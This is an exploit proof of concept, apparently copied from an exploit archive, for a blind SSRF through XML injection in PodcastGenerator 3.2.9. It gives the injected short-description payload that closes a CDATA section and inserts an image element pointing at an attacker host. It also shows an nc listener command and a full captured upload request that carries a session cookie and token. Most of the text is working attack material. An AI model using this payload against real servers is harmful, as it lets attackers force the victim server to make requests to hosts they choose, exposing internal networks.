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## https://sploitus.com/exploit?id=1337DAY-ID-38844
#Exploit Title: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection
#Application: PodcastGenerator
#Version: v3.2.9
#Bugs: Blind SSRF via XML Injection
#Technology: PHP
#Vendor URL: https://podcastgenerator.net/
#Software Link: https://github.com/PodcastGenerator/PodcastGenerator
#Date of found: 01-07-2023
#Author: Mirabbas Ağalarov
#Tested on: Linux
2. Technical Details & POC
========================================
steps:
1. Go to 'Upload New Episodes' (http://localhost/PodcastGenerator/admin/episodes_upload.php)
2. Fill all section and Short Description section set as 'test]]></shortdescPG><imgPG path="">( example :Attacker domain)http://localhost:3132</imgPG><shortdescPG><![CDATA[test'
payload: test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test
By the way i used localhost.If you have domain, you can use domain.
3.And upload episodes
4. I am listening on port 3132 because I'm observating for incoming requests
nc -lvp 3132
5. And I receive request
request:
POST /PodcastGenerator/admin/episodes_upload.php HTTP/1.1
Host: localhost
Content-Length: 101563
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypRUTcUa48pmEcI6Q
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/PodcastGenerator/admin/episodes_upload.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=rsvvc28on2q91ael2fiou3nad3
Connection: close
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="file"; filename="2023-07-01_2023-07-01_2023-07-01_4_photo-1575936123452-b67c3203c357_1_ (2).jpeg"
Content-Type: image/jpeg
image content blaaahblahasdfjblaaah;sdfblaaahasdf
asdfasdfadddblaaahdblaaahddddblaaahddddddblaaahblaaahblaaahdddblaaahddddblaaahdblaaahddblaaahdddddblaaahddddddddddd
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="title"
test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="shortdesc"
test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="date"
2023-07-01
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="time"
17:02
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="episodecover"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="longdesc"
test
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="episodenum"
33
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="seasonnum"
33
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="itunesKeywords"
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="explicit"
no
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="authorname"
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="authoremail"
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="customtags"
------WebKitFormBoundarypRUTcUa48pmEcI6Q
Content-Disposition: form-data; name="token"
vdzM0jc75uLMHV7ovxew8Dawh5mnWSpz
------WebKitFormBoundarypRUTcUa48pmEcI6Q--